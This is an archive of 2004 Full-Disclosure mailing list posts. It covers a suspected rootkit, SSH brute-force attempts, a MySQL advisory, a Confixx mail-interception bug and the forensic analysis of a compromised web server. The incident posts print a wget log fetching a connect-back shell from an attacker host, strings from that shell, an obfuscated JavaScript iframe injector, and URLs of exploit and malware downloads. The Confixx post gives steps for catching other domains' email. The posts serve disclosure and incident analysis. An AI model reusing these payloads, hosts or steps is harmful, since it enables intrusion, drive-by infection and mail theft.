iD8DBQBBet/nsYtTQpYCX9ARAs9RAJ4lKkioLDVEqS5FQjFyshoLxKoYMACgtNzm
/izMXr3xRwpP0LomRe9baCk=
=UYDQ
-----END PGP SIGNATURE-----
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- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Re: [Full-Disclosure] Help, possible rootkit
From: Azerail (Azerail
supersecretninjaskills.com)
Date: Sat Oct 23 2004 - 21:20:43 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Sat, 23 Oct 2004, BillyBob wrote:
> I have ran Process Explorer, Code Stuff Starter but nothing shows up in the
> list as using this 25-30% of my CYP. I also updated and ran PestPatrol,
> NortonAV, etc but nothing is detected which is why I think I have a rootkit
> that has patched the kernel and therefore not allowing any of these programs
> to detect it.
>
> Anything else ?
>
Try cleaning your mouse.
Azerail
--
Thanks to the printing press, the deviant smart people managed to capture their
genius and communicate it without having to pass it on genetically. Evolution
was short-circuited. We got knowledge and technology before we got
intelligence.
-- Scott Adams, The Dilbert Principle
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Re: [Full-Disclosure] Undetectable Virus from CANADA ISP 69.197.83.68
From: Azerail (Azerail
supersecretninjaskills.com)
Date: Sat Oct 23 2004 - 21:19:11 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Can we let this thread die? I mean seriously, we all get the point
that people's virus scanners can detect it and the importance of
updating virus definitions and that ISP's aren't really going to do
anything about it nor should they. Everyone chiming in with the same
two cents is getting real old.
Azerail
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Re: [Full-Disclosure] Help, possible rootkit
From: MN Vasquez (mnv
alumni.princeton.edu)
Date: Sat Oct 23 2004 - 22:04:48 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Any odd traffic coming to or from this machine? What's a sniffer telling
you.
I might've missed it, but is this a home user machine or in a business
place?
Do you have issues running in safe mode? If you don't, then it would sound
like the rootkit's not running, which means you can probably look at some of
the normal places for a file/processes loading/starting.
I don't know about the rest of the list, but I haven't seen or heard of too
many process hiding xp rootkits that are undetectable by some of the basic
methods mentioned. See www.rootkit.com. At least, not floating around on a
single PC that sounds like an unlikely "high value" target. It seems much
more likely that XP or an application is just crapping out on you, and if
you can't figure it out, reinstall. If nothing is revealed after trying
some of the methods already suggested here and by others, I think the
likelihood -- given the info you've told us so far -- makes it's unlikely
that it's a rootkit.
My 2 cents.
> ----- Original Message -----
> From: "BillyBob" <billybobknob
hotmail.com>
> To: "Alan Melia (Melmac)" <alanme
melmac.co.uk>; "'Full Disclosure'"
> <full-disclosure
lists.netsys.com>
> Sent: Saturday, October 23, 2004 1:30 PM
> Subject: Re: [Full-Disclosure] Help, possible rootkit
>
>
>>I have ran Process Explorer, Code Stuff Starter but nothing shows up in
>>the
>> list as using this 25-30% of my CYP. I also updated and ran PestPatrol,
>> NortonAV, etc but nothing is detected which is why I think I have a
>> rootkit
>> that has patched the kernel and therefore not allowing any of these
>> programs
>> to detect it.
>>
>> Anything else ?
>>
>>
>> ----- Original Message -----
>> From: "Alan Melia (Melmac)" <alanme
melmac.co.uk>
>> To: "'BillyBob'" <billybobknob
hotmail.com>; "'Full Disclosure'"
>> <full-disclosure
lists.netsys.com>
>> Sent: Saturday, October 23, 2004 4:47 PM
>> Subject: RE: [Full-Disclosure] Help, possible rootkit
>>
>>
>>> First check to see what processes are running. TaskList is built in but
>>> I
>>> would recommend.
>>> http://www.sysinternals.com/ntw2k/freeware/procexp.shtml
>>>
>>> Get to know your machine and what processes are running normally. With
>>> 25-30% CPU it should stick out like a sore thumb.
>>>
>>> Oh yeah don't run as admin (see )http://blogs.msdn.com/aaron_margosis.
>>>
>>> Alan
>>>
>>>
>>> -----Original Message-----
>>> From: full-disclosure-admin
lists.netsys.com
>>> [mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of BillyBob
>>> Sent: 23 October 2004 17:05
>>> To: Full Disclosure
>>> Subject: [Full-Disclosure] Help, possible rootkit
>>>
>>> I have noticed that my XP system is behaving like I have a rootkit.
>>>
>>> - My mouse is jumpy (it freezes for a second when I move it around the
>>> desktop) and the minimized Taskmanager in the systray shows I have
>>> around
>>> 25 - 30 % usage, but when I open it, there is no process listed using
>>> this
>>> much.
>>> - I did a netstat, fport, openports and none of these show that I have
>>> any
>>> odd ports open or any connections established.
>>> - even when I disconnect from the Internet these symptoms do not stop.
>> They
>>> stop if I reboot, but then start again.
>>>
>>> I have ran VICE, Klister, PatchFinder and RkDetect from rootkit.com and
>> they
>>> could not find anything.
>>>
>>> Any more suggestions ?
>>> Any more rootkit finding tools for Windows ?
>>>
>>> Thanks
>>> Bill
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Re: [Full-Disclosure] Help, possible rootkit
From: MN Vasquez (mnv
alumni.princeton.edu)
Date: Sat Oct 23 2004 - 21:16:56 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
The bootable CD has already been mentioned. Have you scanned it for open
ports?
----- Original Message -----
From: "BillyBob" <billybobknob
hotmail.com>
To: "Alan Melia (Melmac)" <alanme
melmac.co.uk>; "'Full Disclosure'"
<full-disclosure
lists.netsys.com>
Sent: Saturday, October 23, 2004 1:30 PM
Subject: Re: [Full-Disclosure] Help, possible rootkit
>I have ran Process Explorer, Code Stuff Starter but nothing shows up in the
> list as using this 25-30% of my CYP. I also updated and ran PestPatrol,
> NortonAV, etc but nothing is detected which is why I think I have a
> rootkit
> that has patched the kernel and therefore not allowing any of these
> programs
> to detect it.
>
> Anything else ?
>
>
> ----- Original Message -----
> From: "Alan Melia (Melmac)" <alanme
melmac.co.uk>
> To: "'BillyBob'" <billybobknob
hotmail.com>; "'Full Disclosure'"
> <full-disclosure
lists.netsys.com>
> Sent: Saturday, October 23, 2004 4:47 PM
> Subject: RE: [Full-Disclosure] Help, possible rootkit
>
>
>> First check to see what processes are running. TaskList is built in but
>> I
>> would recommend.
>> http://www.sysinternals.com/ntw2k/freeware/procexp.shtml
>>
>> Get to know your machine and what processes are running normally. With
>> 25-30% CPU it should stick out like a sore thumb.
>>
>> Oh yeah don't run as admin (see )http://blogs.msdn.com/aaron_margosis.
>>
>> Alan
>>
>>
>> -----Original Message-----
>> From: full-disclosure-admin
lists.netsys.com
>> [mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of BillyBob
>> Sent: 23 October 2004 17:05
>> To: Full Disclosure
>> Subject: [Full-Disclosure] Help, possible rootkit
>>
>> I have noticed that my XP system is behaving like I have a rootkit.
>>
>> - My mouse is jumpy (it freezes for a second when I move it around the
>> desktop) and the minimized Taskmanager in the systray shows I have around
>> 25 - 30 % usage, but when I open it, there is no process listed using
>> this
>> much.
>> - I did a netstat, fport, openports and none of these show that I have
>> any
>> odd ports open or any connections established.
>> - even when I disconnect from the Internet these symptoms do not stop.
> They
>> stop if I reboot, but then start again.
>>
>> I have ran VICE, Klister, PatchFinder and RkDetect from rootkit.com and
> they
>> could not find anything.
>>
>> Any more suggestions ?
>> Any more rootkit finding tools for Windows ?
>>
>> Thanks
>> Bill
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.netsys.com/full-disclosure-charter.html
>>
>>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
_______________________________________________
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Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] Re: Any update on SSH brute force attempts?
From: Miriam Chan (miriamchan
geocities.com)
Date: Sat Oct 23 2004 - 20:43:17 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Jay Libove wrote:
> Recently, a couple of times a week, I see repeats of this which now have
> as many as fifty different accounts being attacked. (Almost none of which
> exist on my server, and none of which will have common passwords
> thankyouverymuch).
By the way, I started to suspect that the attacks were intentional (not just
some games by some script kiddies.) I had some servers accepting SSH
connections from anywhere (this is for easy access, and I know it is not
a very good idea.)
Before I set up a Portsentry-like mechanism to block the bad hosts, I got at
least 5-6 attempts per day. Afterward, I got nearly none (just some 1-2
attempts a day.) The change looks simply too much for me. If I got some
number of attacks a day, I would expect the same number of attacks the next
day if the attackes were automatically done by some virus/worms. I wished that
it was done by some virus, because (I think) a virus is not more malicious
than a planned cracking behaviour.
Do anyone have the same observations as me ? It should be great if you saw
it and shared your ideas.
Miriam.
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Re: [Full-Disclosure] Help, possible rootkit
From: Gregh (chows
ozemail.com.au)
Date: Sat Oct 23 2004 - 23:36:13 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
----- Original Message -----
From: "MN Vasquez" <mnv
alumni.princeton.edu>
To: <full-disclosure
lists.netsys.com>
Sent: Sunday, October 24, 2004 1:04 PM
Subject: Re: [Full-Disclosure] Help, possible rootkit
>
> I don't know about the rest of the list, but I haven't seen or heard of too
> many process hiding xp rootkits that are undetectable by some of the basic
> methods mentioned.
Just FYI of anyone really interested in why a mouse is doing odd things since installing SP2 on XP, it is actually more common than you think and in what I have seen to date (which is, by no means, long enough to be 100% sure) limited to USB mouse users on XP using SP2. Put the mouse up the top quarter of the screen near the right hand edge and almost always, the user's pointer drifts left. Revert to SP1 and it doesn't happen.
I haven't looked for a fix as yet but I suspect it is either just a mouse driver reinstall or an update needed.
Note - for the paranoid, I don't claim this as the answer in every case. It has been what has happened on about 30 I have seen so far. Doesn't appear to affect a PS2 port mouse.
Greg.
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[Full-Disclosure] python does mangleme (with IE bugs!)
From: ned (nd
felinemenace.org)
Date: Sat Oct 23 2004 - 23:36:32 CDT
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i've made a port of mangleme:
http://felinemenace.org/~nd/htmler.py
with a few extra quirks (such as file extentions/url types)
it finds IE bugs after roughly 2.5 -> 3 hours and they are at:
http://felinemenace.org/~nd/crash_ie/
They are not the null pointer dereference that Michal found (which
curiously seems to not own my 6.0.2800.1106.xpsp1?) but some other
probably non-exploitable problems!
htmler.py doesn't use CGI like mangleme but generates webpages in the
directory 'html1' numbered 0.html to n.html. 0.html then uses a refresh to
load 1.html and so on with little user interaction required!
anyway, if you find bugs with it, don't sell to anyone/notify vendors!
- nd
--
http://felinemenace.org/~nd - "eat a duck"
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Re: [Full-Disclosure] Update: Web browsers - a mini-farce (MSIE gives in)
From: Daniel Veditz (dveditz
cruzio.com)
Date: Sun Oct 24 2004 - 02:58:21 CDT
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Michal Zalewski wrote:
>
> I have no data on whether any of the vendors bothered to run my scripts to
> find any further problems that are bound to surface.
Yes, thank you. Mozilla testers have found additional crashing testcases and
we will add the tool to our regular testing cycle.
-Dan Veditz
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[Full-Disclosure] RE: Full-Disclosure digest
From: digitalchaos (digitalchaos
gawab.com)
Date: Fri Sep 03 2004 - 04:27:01 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Why are there virus being transmitted through this newsgroup??
OUTPUT FROM MCAFEE:
****************** McAfee VirusScan ************************
******* Alert generated at: Thu, 02 Sep 2004 13:15:00 -0500 *********
*********************************************************************
McAfee VirusScan has detected a potential threat in this e-mail
sent by full-disclosure-request
lists.netsys.com.
The following actions were attempted on each suspicious part.
We strongly recommend that you report this virus-related activity
to full-disclosure-request
lists.netsys.com.
The attachment "E-mail body" is infected with the W32/Bagle.aa
MM
Virus(es).
This attachment has been quarantined.
This is not the only message I have received like this
Some were infected by NETSKY, various zip/pif virus, and such.
-----Original Message-----
From: full-disclosure-admin
lists.netsys.com
[mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of
full-disclosure-request
lists.netsys.com
Sent: Friday, October 22, 2004 9:24 AM
To: full-disclosure
lists.netsys.com
Subject: Full-Disclosure digest, Vol 1 #1996 - 8 msgs
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Re: [Full-Disclosure] RE: Full-Disclosure digest
From: Cedric Blancher (blancher
cartel-securite.fr)
Date: Sun Oct 24 2004 - 05:32:53 CDT
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Le vendredi 03 septembre 2004 à 05:27 -0400, digitalchaos a écrit :
> Why are there virus being transmitted through this newsgroup??
Because some worm are gathering email address within addressbook, emails
or HTML contents, thoses can contain Full Disclosure email address.
--
http://www.netexit.com/~sid/
PGP KeyID: 157E98EE FingerPrint: FA62226DA9E72FA8AECAA240008B480E157E98EE
>> Hi! I'm your friendly neighbourhood signature virus.
>> Copy me to your signature file and help me spread!
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Re: [Full-Disclosure] RE: Full-Disclosure digest
From: Honza Vlach (janus
volny.cz)
Date: Sun Oct 24 2004 - 05:59:16 CDT
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Oh no, not again!!!
Honza
> Why are there virus being transmitted through this newsgroup??
--
() ascii ribbon campaign - against html mail
/\ - against microsoft attachments
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
iD8DBQFBe4sESVzvioqX7FkRAtccAJwPoudH8m7h81BCQ8v5vyi+N85/zQCg+bgp
a6IOciNhK9Ql+ZZwHgyTS8o=
=U4EG
-----END PGP SIGNATURE-----
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[Full-Disclosure] xpire.info & splitinfinity.info - exploits in the wild
From: Elia Florio (eflorio
edmaster.it)
Date: Sun Oct 24 2004 - 06:47:04 CDT
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Hi list,
i'm doing some analysis on a Linux-Mandrake 9.0 web server
of a person that was compromised in October.
In this host now it's installed a special trojan that insert a
malicious <IFRAME> tag into every served .PHP page.
The host is running these services :
Porta 21: 220 ProFTPD 1.2.5 Server (XXXXXXX FTP Server) [server]
Porta 22: SSH-1.99-OpenSSH_3.4p1
Porta 25: 220 XXXXX ESMTP 5.5.1
Porta 110: +OK <XXXX
XXXXXX>
Porta 3306: MySQL 3.23.52
Porte 80/443: Server: Apache-AdvancedExtranetServer/1.3.26 (Mandrake
Linux/6mdk)
sxnet/1.2.4 mod_ssl/2.8.10 OpenSSL/0.9.6g PHP/4.2.3
I've found inside Apache log that the hacker break-in inside the machine
using an overflow and injecting an executable /tmp/a.out via "qmail-inject".
These are the suspicious log lines :
[Sun Oct 3 03:35:10 2004] [notice] child pid 16012 exit signal Segmentation
fault (11)
[Sun Oct 3 04:08:34 2004] [notice] child pid 1272 exit signal Segmentation
fault (11)
[Sun Oct 3 07:18:27 2004] [notice] child pid 4397 exit signal Segmentation
fault (11)
[Mon Oct 4 02:27:55 2004] [notice] child pid 1203 exit signal Segmentation
fault (11)
qmail-inject: fatal: unable to parse this line:From: I.T.I.S. S. CANNIZZARO"
<angdimar
yahoo.it>
[Mon Oct 4 18:43:02 2004] [notice] child pid 4248 exit signal Segmentation
fault (11)
[Mon Oct 4 22:58:50 2004] [notice] child pid 1190 exit signal Segmentation
fault (11)
[Tue Oct 5 11:58:13 2004] [notice] child pid 15689 exit signal Segmentation
fault (11)
qmail-inject: fatal: unable to parse this line:
To: Drugo:Lebowski
libero.it
sh: -c: option requires an argument
--15:50:07-- http://xpire.info/cli.gz
=> `/tmp/a.out'
Resolving xpire.info... fatto.
Connecting to xpire.info[221.139.50.11]:80... connected.HTTP richiesta
inviata, aspetto la risposta... 200 OK
Lunghezza: 19,147 [text/plain]
0K .......... ........ 100% 9.97K
15:50:13 (9.97 KB/s) - `/tmp/a.out' salvato [19147/19147]
[Fri Oct 8 20:26:52 2004] [notice] child pid 9647 exit signal Segmentation
fault (11)
[Sat Oct 9 01:09:51 2004] [notice] child pid 3840 exit signal Segmentation
fault (11)
Tryin a WGET of http://xpire.info/cli.gz , I get an ELF executable for
Linux,
possible containing a ConnectBack shell. Inside this ELF file you can grep
these strings:
Usage: %s host port
pqrstuvwxyzabcde 0123456789abcdef /dev/ptmx /dev/pty /dev/tty sh -i Can't
fork pty, bye!
Fuck you so
/bin/sh No connect
Looking up %s... Failed!
OK
%u Connect Back
I don't know if the hacker installs in this machine a rootkit, but the check
of md5sum of
ls, lsof, ps, netstat binaries with other ones from a clean Mandrake distr.
was good.......
The main problem is finding how the Apache Server (or PHP) was altered by
the hacker,
because every user that connects to this host now, could be infected by
several HTML/IE recent exploits.
Sniffing an HTTP packet from this host, I've found that *SOMETIMES* (in a
random way??)
web server inserts a special javascript between HTTP-Header and served page.
The script is :
<script language=javascript>
eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,1
01,40,34,60,105,102,114,97,109,101,32,115,114,99,61,39,104,116,116,112,58,47
,47,119,119,119,46,115,112,108,105,116,105,110,102,105,110,105,116,121,46,10
5,110,102,111,47,102,97,47,63,100,61,103,101,116,39,32,104,101,105,103,104,1
16,61,49,32,119,105,100,116,104,61,49,62,60,47,105,102,114,97,109,101,62,34,
41))
</script>
Decoding it, I see that it writes inside the page an <IFRAME> tag pointing
to this url :
<iframe src='http://www.splitinfinity.info/fa/?d=get' height=1
width=1></iframe>
If you surf to this page (don't do this if you use IE or are not patched)
you could got infected
by several exploits, cause it opens a lot a <iframe> pointing out to
different domains.
I would to list here these domains, cause they are a sources
for exploit studying :
Domain: www.sp2fucked.biz
http://69.50.168.147/user28/counter.htm
Found MHTMLRedir.Exploit
http://213.159.117.133/dl/adv121.php
http://195.178.160.30/js.php?cust=28
http://195.178.160.30/ifr.php?cust=89
http://69.50.168.147/user28/exploit.htm
Found Java class exploit
http://69.50.168.147/user28/exploit2.htm
My questions are :
1) how can I remove this injected Javascript/IFRAME ? I've checked
httpd.conf and a lot of PHP pages,
but I don't found anything.....Is it possible that the hacker install some
compromised Apache module ..so???
2) anyone knows before these sites (xpire.info or splitinfinity.info)?
why they are still online and are serving trojan/exploit on surfer browser?
xpire.info is related to "Mike Fox".....but it sounds as a fake Jonh Doe
registration!
Domain ID: D5946452-LRMS
Domain Name: XPIRE.INFO
Created On: 23-May-2004 19:41:15 UTC
Last Updated On: 02-Aug-2004 08:07:20 UTC
Expiration Date: 23-May-2005 19:41:15 UTC
Sponsoring Registrar: Direct Information Pvt Ltd. d/b/a Directi.com
(R159-LRMS)
Status: ACTIVE
Status: OK
Registrant ID: C4752858-LRMS
Registrant Name: Mike Fox
Registrant Organization: n/a
Registrant Street1: Hali-gali, 77
Registrant City: Deli
Registrant Postal Code: 12345
Registrant Country: IN
Registrant Phone: +91.226370256
Registrant Email: c8idkvtgarwinidkvt38
yahoo.com
3) how can I understand if a rootkit was installed???
Thanks anyone for replies
EF
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Re: [Full-Disclosure] Help, possible rootkit
From: Ali Campbell (fdisclosure
alicampbell.org.uk)
Date: Sun Oct 24 2004 - 08:59:45 CDT
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BillyBob wrote:
> Any more suggestions ?
I have seen something similar to this behaviour caused by a flaky power
connector in a Si3112 mirrored RAID array.
Ali
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Re: [Full-Disclosure] Undetectable Virus from CANADA ISP 69.197.83.68
From: devis (devis
easynix.net)
Date: Sun Oct 24 2004 - 09:26:25 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Well its the good old trick <string>.<good known extension>[ insert
numerous spaces here ].<nasty executable extension>
This relies on MS IExplore or Outlook to not show more than X characters
of the file name, but as your screen shots show, its detected as a
Screen saver meanijng it has a .scr extension which happens to be
executable as well.
$ file details/details.txt\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ .scr
MS-DOS executable (EXE), OS/2 or MS Windows
Does that tricks Hotmail / Mc Afee every time ?
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[Full-Disclosure] [ GLSA 200410-22 ] MySQL: Multiple vulnerabilities
From: Thierry Carrez (koon
gentoo.org)
Date: Sun Oct 24 2004 - 09:29:45 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200410-22
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: High
Title: MySQL: Multiple vulnerabilities
Date: October 24, 2004
Bugs: #67062
ID: 200410-22
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Several vulnerabilities including privilege abuse, Denial of Service,
and potentially remote arbitrary code execution have been discovered
in MySQL.
Background
==========
MySQL is a popular open-source, multi-threaded, multi-user SQL database
server.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 dev-db/mysql < 4.0.21 >= 4.0.21
Description
===========
The following vulnerabilities were found and fixed in MySQL:
Oleksandr Byelkin found that ALTER TABLE ... RENAME checks
CREATE/INSERT rights of the old table instead of the new one
(CAN-2004-0835). Another privilege checking bug allowed users to grant
rights on a database they had no rights on.
Dean Ellis found a defect where multiple threads ALTERing the MERGE
tables to change the UNION could cause the server to crash
(CAN-2004-0837). Another crash was found in MATCH ... AGAINST() queries
with missing closing double quote.
Finally, a buffer overrun in the mysql_real_connect function was found
by Lukasz Wojtow (CAN-2004-0836).
Impact
======
The privilege checking issues could be used by remote users to bypass
their rights on databases. The two crashes issues could be exploited by
a remote user to perform a Denial of Service attack on MySQL server.
The buffer overrun issue could also be exploited as a Denial of Service
attack, and may allow to execute arbitrary code with the rights of the
MySQL daemon (typically, the "mysql" user).
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All MySQL users should upgrade to the latest version:
# emerge sync
# emerge -pv ">=dev-db/mysql-4.0.21"
# emerge ">=dev-db/mysql-4.0.21"
References
==========
[ 1 ] CAN-2004-0835
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0835
[ 2 ] CAN-2004-0836
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0836
[ 3 ] CAN-2004-0837
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0837
[ 4 ] Privilege granting bug
http://bugs.mysql.com/bug.php?id=3933
[ 5 ] MATCH ... AGAINST crash bug
http://bugs.mysql.com/bug.php?id=3870
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-200410-22.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security
gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.
License
=======
Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/1.0
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- application/pgp-signature attachment: OpenPGP digital signature
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Re: [Full-Disclosure] Q: Linux Command Line Encryption
From: Bruno Wolff III (bruno
wolff.to)
Date: Sun Oct 24 2004 - 09:31:30 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Fri, Oct 22, 2004 at 17:48:26 +0000,
Ali Campbell <fdisclosure
alicampbell.org.uk> wrote:
>
> I need a Linux utility which I can use to encrypt a single gzipped file
> via the command line. Obviously something open source would be
> preferable. I'm not really interested in setting up a whole suite of
> stuff with keyfiles and so on, and I don't need a public/private key
> setup, just something quick and dirty with a single secret key for
> encryption and decryption which is nevertheless reasonably strong.
If you are only automating encryption and not decryption and not signing
for integrity, you should probably reconsider using public keys since
that way you don't have to make a password available to your script.
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Re: [Full-Disclosure] xpire.info & splitinfinity.info - exploits in the wild
bowwow
nowhere.org
Date: Sun Oct 24 2004 - 08:18:05 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Ahhhh.......checkout too
http://lists.netsys.com/pipermail/full-disclosure/2004-October/027350.html
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[Full-Disclosure] confixx e-mail bug
From: Igor Buchmueller (bugtraq
int80h.de)
Date: Sun Oct 24 2004 - 10:28:12 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Hello,
I noticed a bug in confixx. Confixx is a software to administrate websites.
nice feautures are to create costumers or reseller costumers and gain them
tools to administrate theirself websites.
It is possible to catch all e-mails as a normal user which are going from the
server to domain foo.bar
1. Create a costumer in your confixx. This can be done without root
permissions on the server, you will just need a reseller account. In the
process of creating a normal costumer, you will need to assign him/her a
domain.
2. Assign, yahoo.com, hotmail.com or gmx.de to your costumer.
3. Login into your costumers account in confixx and create a wildcard e-mail
adress for your domain.
Now, all e-mails will be deliverd to your costumers account, from this confixx
server.
This worked for me, any comments?
with best regards, Igor
--
mfG, Igor B.
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Re: [Full-Disclosure] xpire.info & splitinfinity.info - exploits in the wild
From: Kevin (KKadow
gmail.com)
Date: Sun Oct 24 2004 - 13:01:08 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
On Sun, 24 Oct 2004 13:47:04 +0200, Elia Florio <eflorio
edmaster.it> wrote:
> Hi list,
> i'm doing some analysis on a Linux-Mandrake 9.0 web server
> of a person that was compromised in October.
> In this host now it's installed a special trojan that insert a
> malicious <IFRAME> tag into every served .PHP page.
. . .
> I've found inside Apache log that the hacker break-in inside the machine
> using an overflow and injecting an executable /tmp/a.out via "qmail-inject".
I'm not sure that qmail-inject isn't a red herring? The actual
download looks like 'wget' was used.
> These are the suspicious log lines :
>
> [Sun Oct 3 03:35:10 2004] [notice] child pid 16012 exit signal Segmentation
> fault (11)
> [Sun Oct 3 04:08:34 2004] [notice] child pid 1272 exit signal Segmentation
> fault (11)
> [Sun Oct 3 07:18:27 2004] [notice] child pid 4397 exit signal Segmentation
> fault (11)
> [Mon Oct 4 02:27:55 2004] [notice] child pid 1203 exit signal Segmentation
> fault (11)
> qmail-inject: fatal: unable to parse this line:From: I.T.I.S. S. CANNIZZARO"
> <angdimar
yahoo.it>
> [Mon Oct 4 18:43:02 2004] [notice] child pid 4248 exit signal Segmentation
> fault (11)
> [Mon Oct 4 22:58:50 2004] [notice] child pid 1190 exit signal Segmentation
> fault (11)
> [Tue Oct 5 11:58:13 2004] [notice] child pid 15689 exit signal Segmentation
> fault (11)
> qmail-inject: fatal: unable to parse this line:
> To: Drugo:Lebowski
libero.it
> sh: -c: option requires an argument
> --15:50:07-- http://xpire.info/cli.gz
> => `/tmp/a.out'
> Resolving xpire.info... fatto.
> Connecting to xpire.info[221.139.50.11]:80... connected.HTTP richiesta
> inviata, aspetto la risposta... 200 OK
> Lunghezza: 19,147 [text/plain]
>
> 0K .......... ........ 100% 9.97K
>
> 15:50:13 (9.97 KB/s) - `/tmp/a.out' salvato [19147/19147]
>
> [Fri Oct 8 20:26:52 2004] [notice] child pid 9647 exit signal Segmentation
> fault (11)
> [Sat Oct 9 01:09:51 2004] [notice] child pid 3840 exit signal Segmentation
> fault (11)
>
> Tryin a WGET of http://xpire.info/cli.gz , I get an ELF executable for
> Linux,
> possible containing a ConnectBack shell. Inside this ELF file you can grep
> these strings:
>
> Usage: %s host port
> pqrstuvwxyzabcde 0123456789abcdef /dev/ptmx /dev/pty /dev/tty sh -i Can't
> fork pty, bye!
> Fuck you so
> /bin/sh No connect
> Looking up %s... Failed!
> OK
> %u Connect Back
>
> I don't know if the hacker installs in this machine a rootkit, but the check
> of md5sum of
> ls, lsof, ps, netstat binaries with other ones from a clean Mandrake distr.
> was good.......
I assume you used a bootable CD on the infected machine to do the checksums?
> The main problem is finding how the Apache Server (or PHP) was altered by
> the hacker,
> because every user that connects to this host now, could be infected by
> several HTML/IE recent exploits.
Check the httpd.conf (and other apache configuration files) for any
changes, and also the contents of each module loaded. It's also
possilble, but less likely, that the injection is done in a kernel
module.
> Sniffing an HTTP packet from this host, I've found that *SOMETIMES* (in a
> random way??)
> web server inserts a special javascript between HTTP-Header and served page.
Sounds like a good time to replace the entire server with a fresh build.
Kevin
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Re: [Full-Disclosure] xpire.info & splitinfinity.info - exploits in the wild
From: Elia Florio (eflorio
edmaster.it)
Date: Sun Oct 24 2004 - 14:06:51 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
> I'm not sure that qmail-inject isn't a red herring? The actual
> download looks like 'wget' was used.
Good suggestion, my friend :)
It was used WGET to retrieve the http://xpire.info/cli.gz connectback shell.
After other analysis I've found that another person had the same problem:
http://groups.google.it/groups?hl=it&lr=&selm=2wrKc-2TW-49%40gated-at.bofh.it
Here the log trapped by Apache :
----------------------------------------------------------------------------
----
[Mon Aug 23 06:25:18 2004] [notice] Accept mutex: sysvsem (Default:
sysvsem)
ls: /usr/bin/X11/X: No such file or directory
sh: option `-c' requires an argument
ls: /usr/bin/X11/X: No such file or directory
sh: option `-c' requires an argument
ls: /usr/bin/X11/X: No such file or directory
ls: /usr/include/sdk386: No such file or directory
ls: /usr/bin/X11/X: No such file or directory
ls: /usr/include/sdk386: No such file or directory
ls: /usr/bin/X11/X: No such file or directory
--18:06:28-- http://xpire.info/cli.gz
=> `/tmp/a.out'
Resolving xpire.info... done.
Connecting to xpire.info[202.99.23.162]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,147 [text/plain]
0K .......... ........ 100% 20.04
KB/s
18:06:29 (20.04 KB/s) - `/tmp/a.out' saved [19147/19147]
------------------------------------------------------------------------
If you compare the output, it's possible to see that in my first showed log
the stdout
was in italian language (cause compromised server is .it), in this case is
in english language.
The hacker launched WGET command to retrieve his hacking tool in /tmp/a.out
In this log you can see also that the hacker also try to execute some "ls"
command,
as first trial to test vulnerability I suppose.
Moved by this, after other analysis I found that vulnerability used is an
obvious-but-effective PHP-Injection
using global variables (http://www.securityfocus.com/archive/1/218000 is a
good page to learn
something about this vuln).
The hacker page used to accomplish the injection are based on this
test-page, taken directly on the hacker-site :-)
http://xpire.info/s/2
http://xpire.info/s/
I notice that this site is full of trojan/backdoor/shell/worm/exploit and
other malware....why is it still open?
http://xpire.info/cli.gz // connect back shell
http://xpire.info/fa/aga.exe // agobot family
